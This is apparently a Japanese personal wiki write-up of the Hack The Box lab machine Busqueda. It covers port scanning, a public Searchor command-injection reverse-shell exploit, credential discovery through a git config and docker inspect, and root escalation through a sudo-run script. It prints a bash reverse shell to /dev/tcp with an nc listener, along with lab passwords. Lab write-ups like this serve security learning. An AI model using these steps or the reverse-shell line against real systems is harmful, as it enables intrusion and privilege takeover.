HTB_Busqueda - meruneru/tech_memo GitHub Wiki

Machine - Busqueda

OS: Linux

SearchorというOSSのwebサービスが動いていて、その脆弱性を突くことでシェルが取れた。

LinPEASを使うと、パスワードらしき文字列が見つかり、sshできるようになった。 また、ローカルサービスでgiteaが動いていることが分かった。

"sudo -l"でsudoで実行できるコマンド/opt/scripts/system-checkup.pyの存在がわかった。 docker inspectでgiteaのadministratorのパスワードが判明する。

giteaにadministratorでログインすると、system-checkup.pyのソースコードが見える。 そのコード曰く、カレントディレクトリの"full-checkup.sh"を実行していることがわかり、 リバースシェルを書いた"full-checkup.sh"を用意することで、root権限を取得できた。

port scan

全ポートスキャンした結果、80, 22が開いている。

下記にリダイレクトするため、/etc/hostsにsearcher.htbを追記する。 |_http-title: Did not follow redirect to http://searcher.htb/

nmap -sV -sC -Pn -p- --min-rate 5000 -oN nmap.txt busqueda.htb
lqq(kali?kali)-[~/htb/busqueda]
mq$ cat nmap.txt
# Nmap 7.91 scan initiated Thu Aug 10 23:48:18 2023 as: nmap -sV -sC -Pn -p- --min-rate 5000 -oN nmap.txt busqueda.htb
Warning: 10.10.11.208 giving up on port because retransmission cap hit (10).
Nmap scan report for busqueda.htb (10.10.11.208)
Host is up (0.27s latency).
Not shown: 61793 filtered ports, 3740 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 10 23:52:11 2023 -- 1 IP address (1 host up) scanned in 232.79 seconds

Access

HTTPに繋いでみる。

engine, queryに対してXSSできないかいろいろ試したがダメだった。 [XSStrike](s0md3v/XSStrike: Most advanced XSS scanner. (github.com)) というXSSがあるかどうか調べるツールを使ってもダメだった。

http://searcher.htb/search?engine=PyPi&query=apple"

ソフトバージョンをもとに、github等で脆弱性まとめがないか

Searchor 2.4.0が動いている。

このソフトの脆弱性を調べると[POC-Searchor-2.4.2 Exploit](jonnyzar/POC-Searchor-2.4.2: eval() Exploit POC for Searchor 2.4.2 and lower (github.com)) や nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection: Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0) (github.com)が見つかった。

Foothold

Reverse shellを試してみる。

nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection: Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0) (github.com) を使うと、リバースシェルが成立した。

get User flag.

svc@busqueda:/var/www/app$ id
id
uid=1000(svc) gid=1000(svc) groups=1000(svc)

svc@busqueda:/var/www/app$ cat ~/user.txt

使いやすいシェル

python3 -c'import pty;pty.spawn("/bin/bash")'

管理者権限を取得

LinPEAS

権限昇格のための情報を収集する #LinPEAS

kali $ wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/linpeas.sh

kali $ python3 -m http.server 8000
svc@busqueda:~$ wget 10.10.14.8:8000/linpeas.sh

# Output to file
./linpeas.sh -a | tee /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors

CVE-2021-3156: Sudoの脆弱性(Baron Samedit)は深刻。すぐにアップデートを!!! - Qiita これで権限昇格できる可能性がある。

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

でも、sudoのバージョンを見たら、この脆弱性は使えなかった。

ポートを見ると、3000, 5000番が開いている。 giteaが動いているようだ。

SSHでポートフォワーディングできればいいが、svcユーザーのパスワードがわからない・・・。

 Active Ports
m https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:37435         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      1684/python3
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:222           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
-rw-r--r-- 1 root root 837 Feb 20 14:06 /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName searcher.htb
        ServerAdmin [email protected]
        ProxyPass / http://127.0.0.1:5000/
        ProxyPassReverse / http://127.0.0.1:5000/
        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^searcher.htb$
        RewriteRule /.* http://searcher.htb/ [R]
        ErrorLog ${APACHE_LOG_DIR}/error.log

<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName gitea.searcher.htb
        ServerAdmin [email protected]
        ProxyPass / http://127.0.0.1:3000/
        ProxyPassReverse / http://127.0.0.1:3000/
        ErrorLog ${APACHE_LOG_DIR}/error.log

-rw-r--r-- 1 root root 837 Feb 20 14:06 /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName searcher.htb
        ServerAdmin [email protected]
        ProxyPass / http://127.0.0.1:5000/
        ProxyPassReverse / http://127.0.0.1:5000/
        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^searcher.htb$
        RewriteRule /.* http://searcher.htb/ [R]
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

"/var/www/app/"には、.gitがあることを発見した。 configをみると、giteaのユーザー、パスワードがあった。(LinPEAS)

"url = http://cody:[email protected]/cody/Searcher_site.git"

いろいろ試した結果、さっき見つけたパスワードでSSHできるようになった。

$ ssh busqueda.htb -l svc
jh1usoih2bkjaspwe92

SSH ポートフォワーディング

下記でリモートのポート3000を、ローカルのポート3000にフォワーディングする。

$ ssh -L 3000:127.0.0.1:3000 [email protected]

あとは、"http://localhost:3000" にアクセス cody:jh1usoih2bkjaspwe92でログインできるものの、これと言って無し。

あらためて、sudo コマンドで実行できるコマンドを確認した。

svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

sudo で実行できるコマンドがあった。

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint "   7 months ago   Up 3 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s "   7 months ago   Up 3 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db


docker inspect | Docker Documentation

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect {{'json .Config'}} gitea
{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"[email protected]","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}

"GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh"

administrator/yuiu1hoiu4i5ho1uh でgiteaにログインできる。

scripts/system-checkup.pyを見ると、 full-checkupアクションは、カレントディレクトリの'full-checkup.sh'を実行することがわかる。

あとは、リバースシェルをsystem-checkup.py に叩かせるようにすればrootがとれた。

lqq(kali?kali)-[~/htb/busqueda/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection]
mq$ nc -lnvp 4242
svc@busqueda:~/tmp$ vi full-checkup.sh
svc@busqueda:~/tmp$ cat full-checkup.sh
#!/bin/bash
/bin/bash -l > /dev/tcp/10.10.14.8/4242 0<&1 2>&1
svc@busqueda:~/tmp$ chmod +x full-checkup.sh
svc@busqueda:~/tmp$ ls
full-checkup.sh
svc@busqueda:~/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
⚠️ **GitHub.com Fallback** ⚠️